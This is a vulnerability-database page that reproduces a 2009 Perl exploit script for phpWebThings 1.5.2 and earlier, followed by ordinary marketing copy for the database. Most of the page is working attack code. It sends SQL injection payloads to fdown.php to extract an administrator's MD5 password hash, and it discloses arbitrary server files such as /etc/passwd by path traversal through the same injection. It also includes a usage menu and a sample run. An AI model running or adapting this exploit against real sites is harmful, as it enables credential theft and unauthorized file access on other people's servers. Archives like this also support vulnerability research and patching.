Lucene search
K

phpWebThings <= 1.5.2 MD5 Hash Retrieve/File Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 34 Views

phpWebThings <= 1.5.2 MD5 Hash Retrieve/File Disclosure Exploit by staker. Script not sanitizing user input, leading to SQL injection attack

Code

                                                #!/usr/bin/perl
                                                                                     
################################################################################################### 
# phpWebThings &#60;= 1.5.2 MD5 Hash Retrieve / File Disclosure Remote Exploit                        # 
#                                                                                                 # 
# by staker                                                                                       # 
# ------------------------------                                                                  # 
# mail: staker[at]hotmail[dot]it                                                                  # 
# url: http://phpwebthings.nl                                                                     # 
# ------------------------------                                                                  #
#                                                                                                 #                        
# NOTE:                                                                                           #
# 1. it works regardless of php.ini settings                                                      #
# 2. wt_config.php contains mysql login                                                           #
#                                                                                                 #
# short explanation:                                                                              #
# ----------------------------------------------------                                            #
# phpWebThings contains a flaw that allows an attacker                                            #
# to carry out an SQL injection attack. The issue is                                              #
# due to the fdown.php script not properly sanitizing                                             #
# user-supplied input to the &#39;id&#39; variable. This may                                              #
# allow an attacker to inject or manipulate                                                       #
# SQL queries in the backend database (php.ini indep)                                             #
# ----------------------------------------------------                                            #
#                                                                                                 #
# [file: fdown.php]                                                                               #
# ------------------------------------                                                            #
#                                                                                                 #
# &#60;?php                                                                                           #
# include_once(&#34;core/main.php&#34;);                                                                  #
#                                                                                                 #
# $ret = db_query(&#34;select file from {$config[&#34;prefix&#34;]}_forum_msgs where cod={$_REQUEST[&#34;id&#34;]}&#34;); #
# $row = db_fetch_array($ret);                                                                    #
# header(&#39;HTTP/1.1 200 OK&#39;);                                                                      #
# header(&#39;Date: &#39; . date(&#34;D M j G:i:s T Y&#34;));                                                     #
# header(&#39;Last-Modified: &#39; . date(&#34;D M j G:i:s T Y&#34;));                                            #
# header(&#34;Content-Type: application/force-download&#34;);                                             #
# header(&#34;Content-Lenght: &#34; . (string)(filesize(&#34;var/forumfiles/{$row[&#34;file&#34;]}&#34;)));               #
# header(&#34;Content-Transfer-Encoding: Binary&#34;);                                                    #
# header(&#34;Content-Disposition: attachment; filename={$row[&#34;file&#34;]}&#34;);                             #
# readfile(&#34;var/forumfiles/{$row[&#34;file&#34;]}&#34;);                                                      #
#                                                                                                 #
# ?&#62;                                                                                              #
#                                                                                                 #
# -------------------------------------                                                           #
#                                                                                                 #
# yeat@snippet:~/Desktop$ perl a.pl localhost/cms -c 1                                            #
# [*--------------------------------------------------------------------*]                        #
# [* phpWebThings &#60;= 1.5.2 MD5 Hash Retrieve / File Disclosure Exploit  *]                        #
# [*--------------------------------------------------------------------*]                        #
# [* Usage: perl web.pl [target + path] [OPTIONS]                       *]                        #
# [*                                                                    *]                        #
# [* Options:                                                           *]                        #
# [* [files] -d ../../../../../../etc/passwd                            *]                        #
# [* [hash.] -c user_id                                                 *]                        #
# [* [table] -t set a table prefix (default: wt)                        *]                        #
# [*--------------------------------------------------------------------*]                        #
# [* MD5 Hash: f2c79ad3d1f03ba266dc0a85e1266671                                                   #
#                                                                                                 #
# ----------------------------------------------------------                                      #
# Today is: 12 June 2009                                                                          #
# Location: Italy,Turin.                                                                          #  
# http://www.youtube.com/watch?v=E78BGajeuAI&feature=related                                      #
# ----------------------------------------------------------                                      #
###################################################################################################

use LWP::UserAgent;
use Getopt::Long;

&phpWebThings::init;

my ($files,$admin,$ua_lib,$domain,$table);

$domain  = $ARGV[0] || exit(0);


$ua_lib = LWP::UserAgent-&#62;new(
                               timeout      =&#62; 5,
                               max_redirect =&#62; 0,
                               agent        =&#62; &#39;Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)&#39;,
                             ) || die $!;  

GetOptions(
           &#39;p=s&#39; =&#62; \$proxy,
           &#39;d=s&#39; =&#62; \$files,
           &#39;c=i&#39; =&#62; \$admin,
           &#39;t=s&#39; =&#62; \$table,
         );
         

die(&phpWebThings::Exploit);
  

sub phpWebThings::Exploit()
{
       return Disclose::File($files) if defined $files;
       return Retrieve::Hash($admin) if defined $admin;
}       
               
       
sub Disclose::File
{
      my $filename = $_[0] || die $!;
      
      my $keywords = &#34;\x2F\x66\x64\x6F\x77\x6E\x2E\x70\x68\x70&#34;;
      
      my $response = $ua_lib-&#62;post(parse::URL($domain.$keywords),
                     [ id =&#62; &#34;1/**/union/**/select/**/0x&#34;.Hex::convert($filename).&#34;#&#34; ]);
      
      if ($response-&#62;status_line =~ /^(302|200|301)/) {
            return $response-&#62;content;
      }
      else {
            return $response-&#62;as_string;
      }            
}
       
sub Retrieve::Hash()
{
       my $user_id = $_[0] || die $!;
        
       my $keywords = &#34;\x2F\x66\x64\x6F\x77\x6E\x2E\x70\x68\x70&#34;; 
       
       my $prefix = (defined $table) ? $table : &#39;wt&#39;;
            
       my $response = $ua_lib-&#62;post(parse::URL($domain.$keywords),
                     [ id =&#62; &#34;1 UNION SELECT password FROM ${prefix}_users WHERE uid=$user_id#&#34; ]);     
      
      if ($response-&#62;status_line =~ /^(302|200|301)/) 
      {
            if ($response-&#62;content =~ /([0-9a-f]{32})/) {
                  return &#34;[* MD5 Hash: $1\n&#34;;
            }         
      }
      else {
            return $response-&#62;as_string;
      }                           
} 
          

sub Hex::convert()
{
       my $string = shift @_ || die $!;
       
       return unpack(&#34;H*&#34;,$string);
}       
         
      
sub parse::URL()
{
        my $string = shift @_ || die($!);
        
        if ($string !~ /^http:\/\/?/i) {
                $string = &#39;http://&#39;.$string;
        }
        
        return $string;

}



sub phpWebThings::init
{
       print  &#34;[*--------------------------------------------------------------------*]\n&#34;.
              &#34;[* phpWebThings &#60;= 1.5.2 MD5 Hash Retrieve / File Disclosure Exploit  *]\n&#34;.
              &#34;[*--------------------------------------------------------------------*]\n&#34;. 
              &#34;[* Usage: perl web.pl [target + path] [OPTIONS]                       *]\n&#34;.
              &#34;[*                                                                    *]\n&#34;.
              &#34;[* Options:                                                           *]\n&#34;.
              &#34;[* [files] -d ../../../../../../etc/passwd                            *]\n&#34;.
              &#34;[* [hash.] -c user_id                                                 *]\n&#34;.
              &#34;[* [table] -t set a table prefix (default: wt)                        *]\n&#34;.
              &#34;[*--------------------------------------------------------------------*]\n&#34;;
}   

# milw0rm.com [2009-06-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation